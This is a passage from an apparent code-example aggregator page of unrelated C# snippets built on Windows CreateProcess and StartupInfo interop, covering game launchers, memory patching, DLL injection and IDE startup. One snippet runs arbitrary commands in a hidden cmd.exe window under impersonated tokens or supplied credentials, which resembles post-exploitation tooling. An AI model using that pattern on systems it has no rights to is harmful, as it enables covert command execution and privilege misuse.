        _stderrWriteHandle.Dispose();
        var standardError = new StreamReader(new FileStream(_stderrReadHandle, FileAccess.Read, DEFAULT_PIPE_BUFFER_SIZE), StartInfo.StandardErrorEncoding);
        SetField("standardError", standardError);
      }

      // Workaround to get process handle as Microsoft.Win32.SafeHandles.SafeProcessHandle.
      // This class is internal and therefore not accessible for us (and it is different
      // from MediaPortal.Utilities.Security.SafeProcessHandle), which is why we need to
      // use reflection to obtain it as an object. This object is then stored in the base class.
      var processAssembly = typeof(Process).Assembly;
      var processManager = processAssembly.GetType("System.Diagnostics.ProcessManager");
      var safeProcessHandle = processManager.InvokeMember("OpenProcess", BindingFlags.InvokeMethod | BindingFlags.Public | BindingFlags.Static, null, this, new object[] { _processId, 0x100000, false });
      InvokeMethod("SetProcessHandle", safeProcessHandle);
      InvokeMethod("SetProcessId", _processId);
      return true;
    }
Example #29
0
        public static string ExecuteCommand(string command)
        {
            var output = "";

            if (TokenManager.Token == IntPtr.Zero && TokenManager.Method == 0)
            {
                var process   = new Process();
                var startInfo = new ProcessStartInfo
                {
                    WindowStyle            = ProcessWindowStyle.Hidden,
                    FileName               = @"C:\windows\system32\cmd.exe",
                    Arguments              = "/C" + command + " && exit",
                    RedirectStandardOutput = true,
                    RedirectStandardError  = true,
                    UseShellExecute        = false
                };

                process.StartInfo = startInfo;
                process.Start();
                output = process.StandardOutput.ReadToEnd();

                if (output == "")
                {
                    output = string.Concat("ERR:", process.StandardError.ReadToEnd());
                }

                process.WaitForExit();
                process.Close();
            }
            else
            {
                var outRead  = IntPtr.Zero;
                var outWrite = IntPtr.Zero;

                var saAttr = new SecurityAttributes
                {
                    nLength              = Marshal.SizeOf(typeof(SecurityAttributes)),
                    bInheritHandle       = true,
                    lpSecurityDescriptor = IntPtr.Zero
                };

                CreatePipe(ref outRead, ref outWrite, ref saAttr, 0);

                var startupInfo = new StartupInfo();
                startupInfo.cb          = Marshal.SizeOf(startupInfo);
                startupInfo.lpDesktop   = "";
                startupInfo.hStdOutput  = outWrite;
                startupInfo.hStdError   = outWrite;
                startupInfo.wShowWindow = 0;
                startupInfo.dwFlags    |= 0x00000101;

                var l = new LogonFlags();

                switch (TokenManager.Method)
                {
                case 1:
                    CreateProcessAsUserW(TokenManager.Token, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref startupInfo, out _);
                    break;

                case 2:
                    CreateProcessWithTokenW(TokenManager.Token, l, null, @"c:\windows\system32\cmd.exe /Q /C" + @command, 0, IntPtr.Zero, null, ref startupInfo, out _);
                    break;

                default:
                    CreateProcessWithLogonW(TokenManager.Credentials[0], TokenManager.Credentials[1], TokenManager.Credentials[2], l, null, @"c:\windows\system32\cmd.exe /Q /C" + command, 0, 0, null, ref startupInfo, out _);
                    break;
                }

                var buf    = new byte[100];
                var dwRead = 0;
                Thread.Sleep(500);

                while (true)
                {
                    var bSuccess = ReadFile(outRead, buf, 100, ref dwRead, IntPtr.Zero);
                    output = string.Concat(output, Encoding.Default.GetString(buf));

                    if (!bSuccess || dwRead < 100)
                    {
                        break;
                    }
                }

                CloseHandle(outRead);
                CloseHandle(outWrite);
            }

            return(output);
        }
Example #30
0
 private static extern bool CreateProcessWithTokenW(
     IntPtr hToken, int dwLogonFlags, string applicationName, string commandLine,
     uint creationFlags, IntPtr environment, IntPtr currentDirectory,
     [In] ref StartupInfo startupInfo, out ProcessInformation processInformation);
Example #31
0
        private void Launch()
        {
            _config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);

            string path = _config.AppSettings.Settings["Path"].Value;

            if (!File.Exists(path))
            {
                MessageBox.Show("Hybrasyl Launcher could not find Dark Ages located at: \r\n" + path, "File not found!", MessageBoxButton.OK, MessageBoxImage.Hand);
                return;
            }

            ProcessInformation information;
            StartupInfo startupInfo = new StartupInfo();
            startupInfo.Size = Marshal.SizeOf(startupInfo);

            

            Kernel32.CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.Suspended,
                IntPtr.Zero, null, ref startupInfo, out information);

            using (ProcessMemoryStream stream = new ProcessMemoryStream(information.ProcessId,
                ProcessAccess.VmWrite | ProcessAccess.VmRead | ProcessAccess.VmOperation))
            {
                

                if (_config.AppSettings.Settings["SkipIntro"].Value == "true")
                {
                    stream.Position = 0x42E625L; // intro
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                    stream.WriteByte(0x90);
                }

                #region Legacy IPAddress Code
                /*Legacy IP Address code. do not remove.*/
                //stream.Position = 0x4333C2L; // ip
                //IPAddress addr = Dns.GetHostAddresses(HostName)[0];
                //var serverBytes = addr.GetAddressBytes();
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[3]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[2]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[1]);
                //stream.WriteByte(0x6A);
                //stream.WriteByte(serverBytes[0]);

                //stream.Position = 0x4333F5L; // port
                //stream.WriteByte((byte)(Port % 256));
                //stream.WriteByte((byte)(Port / 256));
                /*End legacy IP Address code. do not remove.*/
                #endregion

                var hostBytes = Encoding.UTF8.GetBytes(HostName);
                byte[] endBytes = new byte[12];
                if (hostBytes.Length != 12)
                {
                    for (var i = 0; i < hostBytes.Length; i++)
                    {
                        endBytes[i] = hostBytes[i];
                    }
                }
                else
                {
                    endBytes = hostBytes;
                }

                stream.Position = 0x6707A8L;
                stream.Write(endBytes, 0, 12);

                if (_config.AppSettings.Settings["MultiInstance"].Value == "true")
                {
                    stream.Position = 0x57A7D9L; // multi-instance
                    stream.WriteByte(0xEB);
                }
                else
                {
                    LaunchEnabled = false;
                    OnPropertyChanged("LaunchEnabled");
                }
            }
            Kernel32.ResumeThread(information.ThreadHandle);
            var process = Process.GetProcessById(information.ProcessId);
            process.WaitForInputIdle();

            User32.SetWindowText(process.MainWindowHandle, "DarkAges : Hybrasyl");
        }
Example #32
0
 public static extern bool CreateProcess(
     string applicationName, string?commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles,
     ProcessCreationFlags creationFlags, IntPtr environment, string?currentDirectory, ref StartupInfo startupInfo,
     out ProcessInfo processInfo);
Example #33
0
 public static extern bool CreateProcessAsUser(
     IntPtr token, String applicationName, String commandLine,
     IntPtr processAttributes, IntPtr threadAttributes,
     bool inheritHandle, UInt32 creationFlags, IntPtr environment,
     String currentDirectory, ref StartupInfo startupInfo,
     out ProcessInformation processInformation);
Example #34
0
 private RepositoryInstance()
 {
     _startupInfo = new StartupInfo {
         Starting = DateTime.UtcNow
     };
 }
Example #35
0
 private static extern bool CreateProcessWithLogonW(
      string userName,
      string domain,
      IntPtr password,
      LogonFlags logonFlags,
      string applicationName,
      string commandLine,
      CreationFlags creationFlags,
      uint environment,
      string currentDirectory,
      ref StartupInfo startupInfo,
      out ProcessInformation processInformation);
Example #36
0
        private static void Main()
        {
            var patchFileName =
                Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().ProcessName) +
                PatchFileNameSuffix;

            try
            {
                var patchDocument = XElement.Load(patchFileName);

                var versionAttr = patchDocument.Attribute(VersionNameAttribute);
                if (versionAttr == null)
                {
                    throw new InvalidOperationException("The version attribute is not found");
                }

                if (float.Parse(versionAttr.Value, new CultureInfo("en-US")) > CurrentVersion)
                {
                    throw new NotSupportedException("This version of patch data is not supported");
                }

                var targetNameAttr = patchDocument.Attribute(TargetNameAttribute);
                if (targetNameAttr == null)
                {
                    throw new InvalidOperationException("The target name attribute is not found");
                }

                var startupInfo = new StartupInfo {cb = (uint) Marshal.SizeOf(typeof (StartupInfo))};

                ProcessInformation processInformation;
                var result = Kernel32.CreateProcess(
                    null,
                    targetNameAttr.Value,
                    IntPtr.Zero,
                    IntPtr.Zero,
                    false,
                    ProcessCreationFlags.Suspended,
                    IntPtr.Zero,
                    null,
                    ref startupInfo,
                    out processInformation);
                ValidateResult(result);

                PatchExecutable(processInformation, patchDocument);
                PatchLibraries(processInformation, patchDocument);

                Kernel32.ResumeThread(processInformation.hThread);
            }
            catch (Exception e)
            {
                MessageBox.Show(
                    e.Message,
                    string.Format("Error"),
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
            }
        }
Example #37
0
        private void CreateProcess(string pathToExeAndArgs)
        {
            _processInfo = new ProcessInfo();

            bool ok = false;

            SECURITY_ATTRIBUTES sattr = new SECURITY_ATTRIBUTES();
            sattr.bInheritHandle = 1;
            unsafe
            {
                sattr.lpSecurityDescriptor = null;
            }
            sattr.nLength = Marshal.SizeOf(sattr);

            _screenBuffer = CreateConsoleScreenBuffer(0x80000000 | 0x40000000, 0x01 | 0x02, ref sattr, 1, IntPtr.Zero);

            var startInfo = new StartupInfo
            {
                dwFlags = 0x0001,
                wShowWindow = 0,
                hStdOutput = _screenBuffer
            };

            SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
            pSec.nLength = Marshal.SizeOf(pSec);
            SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
            tSec.nLength = Marshal.SizeOf(tSec);

            unsafe
            {
                ok = CreateProcess(
                    null,
                    pathToExeAndArgs,
                    ref pSec,
                    ref tSec,
                    true,
                    0,
                    IntPtr.Zero,
                    null,
                    ref startInfo,
                    out _processInfo);
            }
        }
Example #38
0
 public Dumper(StartupInfo start)
 {
     _startInfo = start;
 }
Example #39
0
        // Based on http://blogs.microsoft.co.il/sasha/2009/07/09/launch-a-process-as-standard-user-from-an-elevated-process/
        public unsafe static Process CreateProcessAsStandardUser(string exePath, string arguments, bool launchSuspended = false)
        {
            //Enable SeIncreaseQuotaPrivilege in this process.  (This requires administrative privileges.)
            IntPtr hProcessToken  = IntPtr.Zero;
            var    currentProcess = Process.GetCurrentProcess();

            if (!OpenProcessToken(currentProcess.Handle, TokenAcess.AdjustPrivileges, out hProcessToken))
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }

            try
            {
                TokenPrivileges tkp = new TokenPrivileges();
                tkp.PrivilegeCount = 1;
                if (!LookupPrivilegeValue(null, IncreaseQuotaName, out Luid luid))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                tkp.Attributes = PrivilegeEnabled;

                if (!AdjustTokenPrivileges(hProcessToken, false, ref tkp, 0, IntPtr.Zero, IntPtr.Zero))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
            }
            finally
            {
                CloseHandle(hProcessToken);
            }

            //Get window handle representing the desktop shell.  This might not work if there is no shell window, or when
            //using a custom shell.  Also note that we're assuming that the shell is not running elevated.
            IntPtr hShellWnd = GetShellWindow();

            if (hShellWnd == IntPtr.Zero)
            {
                throw new InvalidOperationException("Unable to locate shell window; you might be using a custom shell");
            }


            int shellPid;

            GetWindowThreadProcessId(hShellWnd, out shellPid);
            if (shellPid == 0)
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }

            //Open the desktop shell process in order to get the process token.
            IntPtr hShellProcess = OpenProcess(ProcessQueryInformation, false, shellPid);

            if (hShellProcess == IntPtr.Zero)
            {
                throw new Win32Exception(Marshal.GetLastWin32Error());
            }


            IntPtr hShellProcessToken = IntPtr.Zero;
            IntPtr hPrimaryToken      = IntPtr.Zero;

            try
            {
                //Get the process token of the desktop shell.
                if (!OpenProcessToken(hShellProcess, TokenAcess.Duplicate, out hShellProcessToken))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                //Duplicate the shell's process token to get a primary token.
                const TokenAcess tokenRights = TokenAcess.Query | TokenAcess.AssignPrimary | TokenAcess.Duplicate | TokenAcess.AdjustDefault | TokenAcess.AdjustSessionId;
                if (!DuplicateTokenEx(hShellProcessToken, tokenRights, IntPtr.Zero, SecurityImpersonationLevel.Impersonation, TokenType.Primary, out hPrimaryToken))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                if (!IsUacEnabled)
                {
                    if (!ConvertStringSidToSid(MediumIntegritySid, out IntPtr sid))
                    {
                        throw new Win32Exception(Marshal.GetLastWin32Error());
                    }

                    // Set integrity level to Medium
                    TokenMandatoryLabel tokenMandatoryLabel = new TokenMandatoryLabel();
                    tokenMandatoryLabel.Label.Attributes = GroupIntegrity;
                    tokenMandatoryLabel.Label.Sid        = sid;
                    var size = Marshal.SizeOf(tokenMandatoryLabel) + GetLengthSid(sid);
                    if (!SetTokenInformation(hPrimaryToken, TokenInformationClass.IntegrityLevel, &tokenMandatoryLabel, size))
                    {
                        throw new Win32Exception(Marshal.GetLastWin32Error());
                    }

                    // Remove elevation from token - Commented out because I couldn't get it to work.
                    //TokenElevation elevation = new TokenElevation();
                    //if (!SetTokenInformation(hPrimaryToken, TokenInformationClass.Elevation, &elevation, 4))
                    //    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                //Start the target process with the new token.
                StartupInfo        startupInfo = new StartupInfo();
                ProcessInformation pi          = new ProcessInformation();
                var creationFlags = launchSuspended ? CreateSuspended : 0;
                if (!CreateProcessWithTokenW(hPrimaryToken, 0, exePath, exePath + " " + arguments, creationFlags, IntPtr.Zero, IntPtr.Zero, ref startupInfo, out pi))
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }

                CloseHandle(pi.ProcessHandle);
                CloseHandle(pi.ThreadHandle);
                return(Process.GetProcessById(pi.ProcessId));
            }
            finally
            {
                if (hShellProcessToken != IntPtr.Zero)
                {
                    CloseHandle(hShellProcessToken);
                }

                if (hPrimaryToken != IntPtr.Zero)
                {
                    CloseHandle(hPrimaryToken);
                }

                if (hShellProcess != IntPtr.Zero)
                {
                    CloseHandle(hShellProcess);
                }
            }
        }
Example #40
0
        public void RunAs(string user, string password, string command)
        {
            string domain  = System.Environment.MachineName;
            StartupInfo startupInfo = new StartupInfo();
            startupInfo.reserved = null;
            startupInfo.flags &= Startf_UseStdHandles;
            startupInfo.stdOutput = (IntPtr)StdOutputHandle;
            startupInfo.stdError = (IntPtr)StdErrorHandle;

            UInt32 exitCode = 123456;
            ProcessInformation processInfo = new ProcessInformation();
            string currentDirectory = System.IO.Directory.GetCurrentDirectory();

            try
            {
                CreateProcessWithLogonW(user, domain, password, (UInt32)1, command, command, (UInt32)0, (UInt32)0, currentDirectory, ref startupInfo, out processInfo);
            } 
            catch(Exception e){ }

            WaitForSingleObject(processInfo.process, Infinite);
            GetExitCodeProcess(processInfo.process, ref exitCode);
            CloseHandle(processInfo.process);
            CloseHandle(processInfo.thread);
        }
 static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, [In] StringBuilder lpCommandLine, IntPtr /*to a SecurityAttributes struct or null*/ lpProcessAttributes, IntPtr /*to a SecurityAttributes struct or null*/ lpThreadAttributes, bool bInheritHandles, CreationFlags creationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation);
Example #42
0
        /// <summary>
        /// Runs the actual managed shell logic
        /// </summary>
        private void RunInternal()
        {
            // Install ctrl handler
            SetConsoleCtrlHandler(ConsoleCtrlCheck, true);

            // Find manifest
            WriteLog(LogType.Info, "Searching for suitable target...");
            var manifest = FindManifest();
            if (manifest == null)
            {
                throw new Exception("Failed to find suitable target");
            }
            WriteLog(LogType.Info, $"Found game '{manifest.GameName}'");

            // Create the process
            WriteLog(LogType.Info, "Starting process...");
            var startInfo = new ProcessStartInfo();
            startInfo.FileName = Path.GetFullPath(manifest.ExecutableName);
            startInfo.Arguments = Environment.CommandLine;
            var startupInfo = new StartupInfo();
            ProcessInformation procInfo;
            var cmdLineArgs = Environment.GetCommandLineArgs();
            var lessCmdLineArgs = new string[cmdLineArgs.Length - 1];
            Array.Copy(cmdLineArgs, 1, lessCmdLineArgs, 0, cmdLineArgs.Length - 1);
            string commandLine = $"\"{Path.GetFullPath(manifest.ExecutableName)}\" {string.Join(" ", lessCmdLineArgs)}";
            var unusedSecAttr = new SecurityAttributes();
            if (!CreateProcess(
                null,
                commandLine,
                ref unusedSecAttr,
                ref unusedSecAttr,
                true,
                CreationFlags.CREATE_SUSPENDED,
                IntPtr.Zero,
                Directory.GetCurrentDirectory(),
                ref startupInfo,
                out procInfo
                ))
            {
                WriteLog(LogType.Error, $"Failed to create process! ({GetLastError()})");
                return;
            }
            process = Process.GetProcessById(procInfo.processId);
            WriteLog(LogType.Info, $"Process ID is {process.Id}");

            // See if we can inject
            var dllPath = Path.GetFullPath(manifest.InjectDllName);
            if (File.Exists(dllPath))
            {
                // Setup pipe
                SetupPipe();

                // Inject
                PerformInjection(dllPath);
            }

            // Wait until it exits
            ResumeThreads();
            process.WaitForExit();
            process = null;

            // Clean up
            Terminate();
        }
Example #43
0
 private static extern bool CreateProcess(string lpApplicationName,
                                          string lpCommandLine, ref SecurityAttributes lpProcessAttributes,
                                          ref SecurityAttributes lpThreadAttributes, bool bInheritHandles,
                                          uint dwCreationFlags, IntPtr lpEnvironment, string currentDirectory,
                                          [In] ref StartupInfo startupInfo,
                                          out ProcessInformation processInformation);
Example #44
0
        ProcessInformation StartClientProcess(string clientPath, out ClientLoadResult result)
        {
            result = ClientLoadResult.Success;

              // Create Process
              ProcessInformation processInformation;
              var startupInfo = new StartupInfo { Size = Marshal.SizeOf(typeof(StartupInfo)) };

              var processSecurity = new SecurityAttributes();
              var threadSecurity = new SecurityAttributes();

              processSecurity.Size = Marshal.SizeOf(processSecurity);
              threadSecurity.Size = Marshal.SizeOf(threadSecurity);

              bool wasCreated = NativeMethods.CreateProcess(clientPath,
             null,
             ref processSecurity, ref threadSecurity,
             false,
             ProcessCreationFlags.Suspended,
             IntPtr.Zero,
             null,
             ref startupInfo, out processInformation);

              // Check Process
              if (!wasCreated || processInformation.ProcessId == 0)
            result = ClientLoadResult.CreateProcessFailed;

              return processInformation;
        }
Example #45
0
 public async override Task OnStartAsync(StartupInfo e)
 {
     await NavigationService.NavigateAsync(typeof(Views.MainPage));
 }
Example #46
0
        private void CreateProcess(string pathToExeAndArgs)
        {
            _processInfo = new ProcessInfo();

            bool ok = false;

            SECURITY_ATTRIBUTES sattr = new SECURITY_ATTRIBUTES();
            sattr.bInheritHandle = 1;
            unsafe
            {
                sattr.lpSecurityDescriptor = null;
            }
            sattr.nLength = Marshal.SizeOf(sattr);

            /*
            IntPtr hWrite;
            ok = CreatePipe(out _hReadStdOut, out hWrite, ref sattr, 0);
            ok = SetHandleInformation(_hReadStdOut, HANDLE_FLAGS.INHERIT, 0);
            IntPtr hRead;
            ok = CreatePipe(out hRead, out _hWriteStdIn, ref sattr, 0);
            ok = SetHandleInformation(_hWriteStdIn, HANDLE_FLAGS.INHERIT, 0);
             */

            var startInfo = new StartupInfo
            {
                dwFlags = 0x0001, // | 0x0100,
                wShowWindow = 0
                /*
                hStdOutput = hWrite,
                hStdError = hWrite,
                hStdInput = hRead
                 */
            };

            SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
            pSec.nLength = Marshal.SizeOf(pSec);
            SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
            tSec.nLength = Marshal.SizeOf(tSec);

            unsafe
            {
                ok = CreateProcess(
                    null,
                    pathToExeAndArgs,
                    ref pSec,
                    ref tSec,
                    true,
                    0,
                    IntPtr.Zero,
                    null,
                    ref startInfo,
                    out _processInfo);
            }
        }
Example #47
0
        async Task <int> MainLoop(MonoDevelopOptions options, StartupInfo startupInfo)
        {
            ProgressMonitor monitor = new MonoDevelop.Core.ProgressMonitoring.ConsoleProgressMonitor();

            monitor.BeginTask(GettextCatalog.GetString("Starting {0}", BrandingService.ApplicationName), 2);

            //make sure that the platform service is initialised so that the Mac platform can subscribe to open-document events
            Counters.InitializationTracker.Trace("Initializing Platform Service");

            var desktopService = await Runtime.GetService <DesktopService> ();

            var commandService = await Runtime.GetService <CommandManager> ();

            // load the global menu for the welcome window to avoid unresponsive menus on Mac
            desktopService.SetGlobalMenu(commandService, DefaultWorkbench.MainMenuPath, DefaultWorkbench.AppMenuPath);

            IdeStartupTracker.StartupTracker.MarkSection("PlatformInitialization");

            monitor.Step(1);

            Counters.InitializationTracker.Trace("Checking System");

            CheckFileWatcher();

            IdeStartupTracker.StartupTracker.MarkSection("FileWatcherInitialization");

            Exception error            = null;
            int       reportedFailures = 0;

            try {
                Counters.InitializationTracker.Trace("Loading Icons");
                //force initialisation before the workbench so that it can register stock icons for GTK before they get requested
                ImageService.Initialize();

                IdeStartupTracker.StartupTracker.MarkSection("ImageInitialization");

                // If we display an error dialog before the main workbench window on OS X then a second application menu is created
                // which is then replaced with a second empty Apple menu.
                // XBC #33699
                Counters.InitializationTracker.Trace("Initializing IdeApp");

                hideWelcomePage = options.NoStartWindow || startupInfo.HasFiles || IdeApp.Preferences.StartupBehaviour.Value != OnStartupBehaviour.ShowStartWindow;
                await IdeApp.Initialize(monitor, hideWelcomePage);

                IdeStartupTracker.StartupTracker.MarkSection("AppInitialization");

                if (errorsList.Count > 0)
                {
                    using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog(errorsList.ToArray(), false)) {
                        if (!dlg.Run())
                        {
                            return(1);
                        }
                    }
                    reportedFailures = errorsList.Count;
                }

                if (!CheckSCPlugin())
                {
                    return(1);
                }

                // Load requested files
                Counters.InitializationTracker.Trace("Opening Files");

                // load previous combine
                RecentFile openedProject = null;
                if (IdeApp.Preferences.StartupBehaviour.Value == OnStartupBehaviour.LoadPreviousSolution && !startupInfo.HasSolutionFile && !IdeApp.Workspace.WorkspaceItemIsOpening && !IdeApp.Workspace.IsOpen)
                {
                    openedProject = IdeServices.DesktopService.RecentFiles.MostRecentlyUsedProject;
                    if (openedProject != null)
                    {
                        var metadata = GetOpenWorkspaceOnStartupMetadata();
                        IdeApp.Workspace.OpenWorkspaceItem(openedProject.FileName, true, true, metadata).ContinueWith(t => IdeApp.OpenFilesAsync(startupInfo.RequestedFileList, metadata), TaskScheduler.FromCurrentSynchronizationContext()).Ignore();
                        startupInfo.OpenedRecentProject = true;
                    }
                }
                if (openedProject == null)
                {
                    IdeApp.OpenFilesAsync(startupInfo.RequestedFileList, GetOpenWorkspaceOnStartupMetadata()).Ignore();
                    startupInfo.OpenedFiles = startupInfo.HasFiles;
                }

                monitor.Step(1);
            } catch (Exception e) {
                error = e;
            } finally {
                monitor.Dispose();
            }

            if (error != null)
            {
                string message = BrandingService.BrandApplicationName(GettextCatalog.GetString("MonoDevelop failed to start"));
                message = message + "\n\n" + error.Message;
                MessageService.ShowFatalError(message, null, error);

                return(1);
            }

            if (errorsList.Count > reportedFailures)
            {
                using (AddinLoadErrorDialog dlg = new AddinLoadErrorDialog(errorsList.ToArray(), true))
                    dlg.Run();
            }

            errorsList = null;
            AddinManager.AddinLoadError -= OnAddinError;

            IdeStartupTracker.StartupTracker.MarkSection("BasicInitializationCompleted");

            instanceConnection.FileOpenRequested += (sender, a) => {
                foreach (var e in a)
                {
                    OpenFile(e.FileName);
                }
            };

            instanceConnection.StartListening();

            IdeStartupTracker.StartupTracker.MarkSection("SocketInitialization");

            initialized = true;
            MessageService.RootWindow    = IdeApp.Workbench.RootWindow;
            Xwt.MessageDialog.RootWindow = Xwt.Toolkit.CurrentEngine.WrapWindow(IdeApp.Workbench.RootWindow);

            IdeStartupTracker.StartupTracker.MarkSection("WindowOpened");

            Thread.CurrentThread.Name = "GUI Thread";
            Counters.InitializationTracker.Trace("Running IdeApp");
            Counters.InitializationTracker.End();
            Counters.InitializationTracker = new NullTimeTracker();

            AddinManager.AddExtensionNodeHandler("/MonoDevelop/Ide/InitCompleteHandlers", OnExtensionChanged);
            StartLockupTracker();

            // This call is important so the current event loop is run before we run the main loop.
            // On Mac, the OpenDocuments event gets handled here, so we need to get the timeout
            // it queues before the OnIdle event so we can start opening a solution before
            // we show the main window.
            await Task.Yield();

            IdeStartupTracker.StartupTracker.MarkSection("PumpEventLoop");
            IdeStartupTracker.StartupTracker.Stop(startupInfo);

            GLib.Idle.Add(OnIdle);

            return(0);
        }
Example #48
0
        int Run(MonoDevelopOptions options)
        {
            UnsetEnvironmentVariables();

            LoggingService.LogInfo("Starting {0} {1}", BrandingService.ApplicationLongName, IdeVersionInfo.MonoDevelopVersion);
            LoggingService.LogInfo("Build Information{0}{1}", Environment.NewLine, SystemInformation.GetBuildInformation());
            LoggingService.LogInfo("Running on {0}", RuntimeVersionInfo.GetRuntimeInfo());

            //ensure native libs initialized before we hit anything that p/invokes
            Platform.Initialize();
            IdeStartupTracker.StartupTracker.MarkSection("PlatformInitialization");

            GettextCatalog.Initialize();
            IdeStartupTracker.StartupTracker.MarkSection("GettextInitialization");

            LoggingService.LogInfo("Operating System: {0}", SystemInformation.GetOperatingSystemDescription());

            // The assembly resolver for MSBuild 15 assemblies needs to be defined early on.
            // Whilst Runtime.Initialize loads the MSBuild 15 assemblies from Mono this seems
            // to be too late to prevent the MEF composition and the static registrar from
            // failing to load the MonoDevelop.Ide assembly which now uses MSBuild 15 assemblies.
            ResolveMSBuildAssemblies();

            Counters.InitializationTracker = Counters.Initialization.BeginTiming();

            if (options.PerfLog)
            {
                string logFile = Path.Combine(Environment.CurrentDirectory, "monodevelop.perf-log");
                LoggingService.LogInfo("Logging instrumentation service data to file: " + logFile);
                InstrumentationService.StartAutoSave(logFile, 1000);
            }

            Counters.InitializationTracker.Trace("Initializing GTK");
            if (Platform.IsWindows && !CheckWindowsGtk())
            {
                return(1);
            }
            SetupExceptionManager();

            // explicit GLib type system initialization for GLib < 2.36 before any other type system access
            GLib.GType.Init();

            var args = options.RemainingArgs.ToArray();

            IdeTheme.InitializeGtk(BrandingService.ApplicationName, ref args);
            IdeStartupTracker.StartupTracker.MarkSection("GtkInitialization");


            startupInfo = new StartupInfo(options, args);
            if (startupInfo.HasFiles)
            {
                // If files are present, consider started from the commandline as being the same as file manager.
                // On macOS, we need to wait until the DidFinishLaunching notification to find out we were launched from the Finder
                IdeApp.LaunchReason = IdeApp.LaunchType.LaunchedFromFileManager;
            }
            else if (!Platform.IsMac)
            {
                IdeApp.LaunchReason = IdeApp.LaunchType.Normal;
            }

            IdeApp.Customizer = options.IdeCustomizer ?? new IdeCustomizer();
            try {
                IdeApp.Customizer.Initialize(startupInfo);
            } catch (UnauthorizedAccessException ua) {
                LoggingService.LogError("Unauthorized access: " + ua.Message);
                return(1);
            }
            IdeStartupTracker.StartupTracker.MarkSection("IdeCustomizerInitialization");

            try {
                GLibLogging.Enabled = true;
            } catch (Exception ex) {
                LoggingService.LogError("Error initialising GLib logging.", ex);
            }

            LoggingService.LogInfo("Using GTK+ {0}", IdeVersionInfo.GetGtkVersion());

            // XWT initialization
            FilePath p = typeof(IdeStartup).Assembly.Location;

            Runtime.LoadAssemblyFrom(p.ParentDirectory.Combine("Xwt.Gtk.dll"));
            Xwt.Application.InitializeAsGuest(Xwt.ToolkitType.Gtk);
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarWindowBackend, GtkExtendedTitleBarWindowBackend> ();
            Xwt.Toolkit.CurrentEngine.RegisterBackend <IExtendedTitleBarDialogBackend, GtkExtendedTitleBarDialogBackend> ();
            IdeTheme.SetupXwtTheme();

            IdeStartupTracker.StartupTracker.MarkSection("XwtInitialization");

            //default to Windows IME on Windows
            if (Platform.IsWindows && GtkWorkarounds.GtkMinorVersion >= 16)
            {
                var settings = Gtk.Settings.Default;
                var val      = GtkWorkarounds.GetProperty(settings, "gtk-im-module");
                if (string.IsNullOrEmpty(val.Val as string))
                {
                    GtkWorkarounds.SetProperty(settings, "gtk-im-module", new GLib.Value("ime"));
                }
            }

            DispatchService.Initialize();

            // Set a synchronization context for the main gtk thread
            SynchronizationContext.SetSynchronizationContext(DispatchService.SynchronizationContext);
            Runtime.MainSynchronizationContext = SynchronizationContext.Current;

            IdeStartupTracker.StartupTracker.MarkSection("DispatchInitialization");

            // Initialize Roslyn's synchronization context
            RoslynServices.RoslynService.Initialize();

            IdeStartupTracker.StartupTracker.MarkSection("RoslynInitialization");

            AddinManager.AddinLoadError += OnAddinError;

            Counters.InitializationTracker.Trace("Initializing Runtime");
            Runtime.Initialize(true);

            // Register services used by the IDE

            RegisterServices();

            // If a combine was specified, force --newwindow.

            if (!options.NewWindow && startupInfo.HasFiles)
            {
                foreach (var file in startupInfo.RequestedFileList)
                {
                    try {
                        if (MonoDevelop.Projects.Services.ProjectService.IsWorkspaceItemFile(file.FileName))
                        {
                            options.NewWindow = true;
                            break;
                        }
                    } catch (UnauthorizedAccessException ex) {
                        LoggingService.LogError(string.Format("Unable to check startup file is a workspace item '{0}'", file.FileName), ex);
                        return(1);
                    }
                }
            }

            instanceConnection = new IdeInstanceConnection(options.IpcTcp);

            // If not opening a combine, connect to existing monodevelop and pass filename(s) and exit
            if (!options.NewWindow && startupInfo.HasFiles && instanceConnection.TryConnect(startupInfo))
            {
                return(0);
            }

            IdeStartupTracker.StartupTracker.MarkSection("RuntimeInitialization");

            bool restartRequested = PropertyService.Get("MonoDevelop.Core.RestartRequested", false);

            startupInfo.Restarted = restartRequested;
            PropertyService.Set("MonoDevelop.Core.RestartRequested", false);

            Counters.InitializationTracker.Trace("Initializing theme");

            IdeTheme.SetupGtkTheme();

            IdeApp.Customizer.OnCoreInitialized();

            IdeStartupTracker.StartupTracker.MarkSection("ThemeInitialized");

            IdeApp.IsRunning = true;

            Xwt.Application.TranslationCatalog = new XwtTranslationCatalog();

            // Load the main menu before running the main loop
            var commandService = Runtime.GetService <CommandManager> ().Result;
            var desktopService = Runtime.GetService <DesktopService> ().Result;

            desktopService.SetGlobalMenu(commandService, DefaultWorkbench.MainMenuPath, DefaultWorkbench.AppMenuPath);

